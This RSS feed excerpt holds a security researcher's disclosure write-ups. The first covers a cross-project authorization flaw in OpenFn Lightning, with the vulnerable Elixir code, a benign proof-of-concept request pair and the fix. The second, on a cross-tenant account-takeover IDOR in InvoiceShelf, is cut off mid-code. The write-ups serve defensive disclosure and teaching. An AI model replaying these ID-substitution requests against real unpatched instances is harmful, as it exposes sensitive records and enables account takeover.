<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Santosh Kumar Puppala</title>
    <description>The latest articles on DEV Community by Santosh Kumar Puppala (@santosh_kumarpuppala_96e).</description>
    <link>https://dev.to/santosh_kumarpuppala_96e</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4059194%2F71079c6a-a839-4be5-92c7-a30d17955456.png</url>
      <title>DEV Community: Santosh Kumar Puppala</title>
      <link>https://dev.to/santosh_kumarpuppala_96e</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/santosh_kumarpuppala_96e"/>
    <language>en</language>
    <item>
      <title>The guard checked the URL, not the record it returned (OpenFn Lightning, GHSA-vf9q-phg3-hqj6)</title>
      <dc:creator>Santosh Kumar Puppala</dc:creator>
      <pubDate>Wed, 05 Aug 2026 03:34:51 +0000</pubDate>
      <link>https://dev.to/santosh_kumarpuppala_96e/the-guard-checked-the-url-not-the-record-it-returned-openfn-lightning-ghsa-vf9q-phg3-hqj6-5f0k</link>
      <guid>https://dev.to/santosh_kumarpuppala_96e/the-guard-checked-the-url-not-the-record-it-returned-openfn-lightning-ghsa-vf9q-phg3-hqj6-5f0k</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What:&lt;/strong&gt; A cross-project authorization bug in &lt;a href="https://github.com/OpenFn/lightning" rel="noopener noreferrer"&gt;OpenFn Lightning&lt;/a&gt; — a viewer-role member of one project could read the full run detail (streamed logs, workflow name, step list, run creator's email) of a run belonging to &lt;em&gt;any other project&lt;/em&gt; in the same instance.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact:&lt;/strong&gt; Lightning is deployed by NGOs and governments to orchestrate sensitive pipelines (DHIS2 health records, humanitarian beneficiary data, civil registration). Those run logs carry real PII, so a low-privilege cross-project read is a serious confidentiality breach. OpenFn rated the advisory &lt;strong&gt;Critical&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fixed in:&lt;/strong&gt; &lt;code&gt;v2.17.0&lt;/code&gt; (2026-07-23). Advisory &lt;strong&gt;GHSA-vf9q-phg3-hqj6&lt;/strong&gt; (CVE requested/pending). Found through coordinated disclosure — I'm credited as a finder on the advisory alongside &lt;a href="https://github.com/lukegranto23" rel="noopener noreferrer"&gt;@lukegranto23&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why you should care
&lt;/h2&gt;

&lt;p&gt;Almost every multi-tenant app has this exact shape somewhere: a URL that carries &lt;em&gt;two&lt;/em&gt; identifiers — one that scopes "who are you allowed to look at" and one that names "the thing you want" — and an authorization check that only looks at the first one.&lt;/p&gt;

&lt;p&gt;It reads as safe in review because there &lt;em&gt;is&lt;/em&gt; a check, right there at the top of the request. The trap is that the check validates the wrong noun. It confirms you belong to the project named in the path, then goes and fetches a record by a different id entirely, with no filter tying that record back to the project it just validated you against. The gate is real. It's just guarding a door that isn't the one the data walks through.&lt;/p&gt;

&lt;p&gt;Lightning had the correct, scoped query already written and in use elsewhere in the same file. This one read path just didn't call it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;Lightning is an Elixir/Phoenix workflow-automation platform. Work is organized into &lt;strong&gt;projects&lt;/strong&gt;; a project has members with roles (&lt;code&gt;viewer&lt;/code&gt;, &lt;code&gt;editor&lt;/code&gt;, &lt;code&gt;admin&lt;/code&gt;). When a workflow executes it produces a &lt;strong&gt;run&lt;/strong&gt; — with a step list, timing, exit codes, a streamed execution log, and the email of whoever kicked it off. You view a run at a route shaped like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /projects/&amp;lt;project_id&amp;gt;/runs/&amp;lt;run_id&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two identifiers in one URL. &lt;code&gt;project_id&lt;/code&gt; is what the membership check keys off. &lt;code&gt;run_id&lt;/code&gt; is a UUID that names the run you want to stream. Hold onto that distinction — the whole bug lives in the gap between them.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug (source → sink)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. The route guard checks the URL project — and only that.&lt;/strong&gt; The &lt;code&gt;:project_scope&lt;/code&gt; hook (&lt;code&gt;lib/lightning_web/hooks.ex&lt;/code&gt;) loads the project named in the path and confirms you're a member:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="k"&gt;defp&lt;/span&gt; &lt;span class="n"&gt;handle_project_scope&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="n"&gt;project_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"project_id"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="n"&gt;project&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Projects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_project&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;project_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;can?&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Permissions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;can?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;ProjectUsers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:access_project&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;current_user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;project&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="c1"&gt;# Checks: is current_user a member of the project_id from the URL?&lt;/span&gt;
  &lt;span class="c1"&gt;# Does NOT check: does the run at params["id"] belong to this project?&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The membership check is role-agnostic — a &lt;code&gt;:viewer&lt;/code&gt; passes just fine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="n"&gt;can?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_actor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:access_project&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;project&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="no"&gt;Projects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;member_of?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;project&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# user_id + project_id; any role passes&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpdhu5k7lkej365x2xzxi.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpdhu5k7lkej365x2xzxi.gif" alt="diagram"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. The run is then fetched by bare UUID, with no project filter.&lt;/strong&gt; The streaming LiveView (&lt;code&gt;lib/lightning_web/live/run_live/streaming.ex&lt;/code&gt;) calls &lt;code&gt;Runs.get/2&lt;/code&gt;, which resolves to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="k"&gt;defp&lt;/span&gt; &lt;span class="n"&gt;get_query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;preloads&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="no"&gt;Run&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="ss"&gt;where:&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;      &lt;span class="c1"&gt;# &amp;lt;-- the whole WHERE clause&lt;/span&gt;
    &lt;span class="ss"&gt;preload:&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="n"&gt;preloads&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no &lt;code&gt;where: ... and project_id == ^project_id&lt;/code&gt;. Any valid run UUID comes back regardless of which project owns it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. The URL project is then quietly overwritten by the run's own project.&lt;/strong&gt; After the async fetch resolves:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="n"&gt;handle_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:run&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;:ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;updated_run&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="n"&gt;socket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
    &lt;span class="n"&gt;socket&lt;/span&gt;
    &lt;span class="o"&gt;|&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;assign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:run&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;updated_run&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;|&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;assign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:project&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;updated_run&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;workflow&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# now Project A, not the URL's project&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the page finishes rendering in the &lt;em&gt;foreign&lt;/em&gt; project's context — and streams its log lines straight to the browser over the LiveView socket:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="n"&gt;push_event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"logs-&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;%{&lt;/span&gt;&lt;span class="ss"&gt;logs:&lt;/span&gt; &lt;span class="n"&gt;log_lines&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The "aha"
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The check proved you belong to the project you named in the URL — and then handed you a run from a project you didn't.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Proof of concept (benign)
&lt;/h2&gt;

&lt;p&gt;Two accounts on a build of the shipped tag, roles kept deliberately minimal:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Account A&lt;/strong&gt; owns Project A, which has a run. I seeded one log line with a harmless marker: &lt;code&gt;PROJECT-A-PII-LEAK-MARKER beneficiary=John_Doe nid=12345&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Account B&lt;/strong&gt; is a &lt;code&gt;viewer&lt;/code&gt; of a &lt;em&gt;different&lt;/em&gt; project (Project C) and has &lt;strong&gt;no membership in Project A&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Account B requests its &lt;em&gt;own&lt;/em&gt; project in the path, and Project A's run UUID as the record:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /projects/&amp;lt;Project_C_id&amp;gt;/runs/&amp;lt;Project_A_run_uuid&amp;gt;   -&amp;gt;  HTTP 200, RunLive mounts
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The response carried Project A's workflow name, work-order id, the run creator's email (&lt;code&gt;account_a@local.test&lt;/code&gt;), the step list, and the streamed log lines — including the planted marker. No admin role, no membership in Project A.&lt;/p&gt;

&lt;p&gt;The control confirms the check &lt;em&gt;does&lt;/em&gt; work — on the wrong noun:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /projects/&amp;lt;Project_A_id&amp;gt;/runs/&amp;lt;Project_A_run_uuid&amp;gt;   -&amp;gt;  302 redirect
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Naming Project A in the path (which B isn't a member of) is correctly refused. The disclosure works &lt;em&gt;because&lt;/em&gt; B substitutes a project it legitimately belongs to, while the run belongs to another. A request for a non-existent run UUID under B's own project returns an error — so the leak is specific to a valid foreign run id, not a generic error oracle.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;Lightning already had the correctly-scoped query — the &lt;em&gt;cancel&lt;/em&gt; path used it. &lt;code&gt;Runs.get_for_project/2&lt;/code&gt; joins work-order → workflow and filters on the project:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="n"&gt;get_for_project&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;run_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;project_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="no"&gt;Run&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="ss"&gt;join:&lt;/span&gt; &lt;span class="n"&gt;wo&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;assoc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:work_order&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="ss"&gt;join:&lt;/span&gt; &lt;span class="n"&gt;wf&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;assoc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:workflow&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="ss"&gt;where:&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="n"&gt;run_id&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;wf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project_id&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="n"&gt;project_id&lt;/span&gt;   &lt;span class="c1"&gt;# &amp;lt;-- the missing filter&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;|&amp;gt;&lt;/span&gt; &lt;span class="no"&gt;Repo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;one&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fix (shipped in &lt;strong&gt;v2.17.0&lt;/strong&gt;) is to fetch the run through that project-scoped query on the view/stream path too, so a run only resolves inside the project the user was actually validated against — and to apply the same scoping to the sibling call site in &lt;code&gt;run_viewer_live.ex&lt;/code&gt;, which shared the exact unscoped fetch.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Authorize the object you return, not the identifier you were handed.&lt;/strong&gt; A membership check on a URL parameter proves nothing about a record fetched by a &lt;em&gt;different&lt;/em&gt; parameter. Scope the query that produces the data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A guarded sibling is a spec you already wrote.&lt;/strong&gt; When one path fetches with a &lt;code&gt;project_id&lt;/code&gt; join and a neighboring path fetches by bare id, that asymmetry isn't style — it's a missing check. Grep for the scoped helper and find every caller that skipped it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"There is a check" is not "the check covers this."&lt;/strong&gt; Read-path authorization gaps hide behind real, working guards that validate the wrong thing. Trace the data from the sink back to the boundary, not from the guard forward.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Disclosure timeline
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2026-06-16&lt;/strong&gt; — Reported to OpenFn via coordinated disclosure; local PoC confirmed against shipped tag v2.16.7.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2026-07-23&lt;/strong&gt; — Fixed in &lt;code&gt;v2.17.0&lt;/code&gt;; advisory &lt;strong&gt;GHSA-vf9q-phg3-hqj6&lt;/strong&gt; published. OpenFn confirmed all supported instances were patched.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE:&lt;/strong&gt; requested / pending at time of writing.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Credit / CTA
&lt;/h2&gt;

&lt;p&gt;Found and reported under coordinated disclosure by &lt;strong&gt;Santosh Kumar Puppala&lt;/strong&gt; and &lt;a href="https://github.com/lukegranto23" rel="noopener noreferrer"&gt;&lt;strong&gt;@lukegranto23&lt;/strong&gt;&lt;/a&gt; — both credited as finders on the advisory; OpenFn addressed it in v2.17.0. (The advisory covers the same missing-scope pattern across many surfaces in the product; this post walks one representative read path.) If you run a multi-tenant app, the one-hour version of this post is: search your read paths for a resource fetched by bare id right after a scope check on a &lt;em&gt;different&lt;/em&gt; id — that's where this class lives.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq &amp;amp; Veridor). GitHub: &lt;a href="https://github.com/Santoshkumarpuppala" rel="noopener noreferrer"&gt;@Santoshkumarpuppala&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cve</category>
      <category>elixir</category>
      <category>appsec</category>
    </item>
    <item>
      <title>How one Owner could take over any account in another company — cross-tenant IDOR in InvoiceShelf (CVE-2026-55610)</title>
      <dc:creator>Santosh Kumar Puppala</dc:creator>
      <pubDate>Wed, 05 Aug 2026 03:04:18 +0000</pubDate>
      <link>https://dev.to/santosh_kumarpuppala_96e/how-one-owner-could-take-over-any-account-in-another-company-cross-tenant-idor-in-invoiceshelf-a8j</link>
      <guid>https://dev.to/santosh_kumarpuppala_96e/how-one-owner-could-take-over-any-account-in-another-company-cross-tenant-idor-in-invoiceshelf-a8j</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;InvoiceShelf (self-hosted, multi-company invoicing) let any company &lt;strong&gt;Owner&lt;/strong&gt; read and overwrite &lt;strong&gt;any user in any other company&lt;/strong&gt; on the same installation.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;GET/PUT /api/v1/users/{id}&lt;/code&gt; resolved the user by &lt;strong&gt;global primary key&lt;/strong&gt;, and the policy only checked that you own &lt;em&gt;your&lt;/em&gt; header-company — never that the target belonged to it. Result: cross-tenant &lt;strong&gt;account takeover&lt;/strong&gt; (overwrite email + password, and re-assign the victim into your company as super-admin).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;High, CVSS 8.7 (CWE-639).&lt;/strong&gt; Fixed in &lt;strong&gt;2.4.1&lt;/strong&gt;. I reported it and am credited as Reporter — &lt;strong&gt;CVE-2026-55610&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why you should care
&lt;/h2&gt;

&lt;p&gt;Multi-tenant apps live or die on one invariant: tenant A can never touch tenant B's data. InvoiceShelf enforced that on the &lt;em&gt;delete&lt;/em&gt; path but quietly forgot it on &lt;em&gt;read&lt;/em&gt; and &lt;em&gt;update&lt;/em&gt; of users — the highest-value object in the app. That one asymmetry turned "manage my company's users" into "manage everyone's."&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;InvoiceShelf is a Laravel app where each request carries a &lt;code&gt;company&lt;/code&gt; header, and a middleware pins that header to one of the &lt;em&gt;requester's&lt;/em&gt; companies. Users are managed through a standard resource route.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug (source → sink)
&lt;/h2&gt;

&lt;p&gt;The route uses implicit route-model binding — Laravel resolves &lt;code&gt;{user}&lt;/code&gt; straight from the global &lt;code&gt;users&lt;/code&gt; table by primary key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// routes/api.php&lt;/span&gt;
&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;apiResource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/users'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;UsersController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// auth:sanctum + company + bouncer&lt;/span&gt;

&lt;span class="c1"&gt;// UsersController.php&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mf"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;                     &lt;span class="c1"&gt;// $user bound by GLOBAL primary key&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;UserRequest&lt;/span&gt; &lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mf"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Authorization is delegated to &lt;code&gt;UserPolicy&lt;/code&gt;, which leans on &lt;code&gt;isOwner()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// UserPolicy.php&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$me&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$me&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;isOwner&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
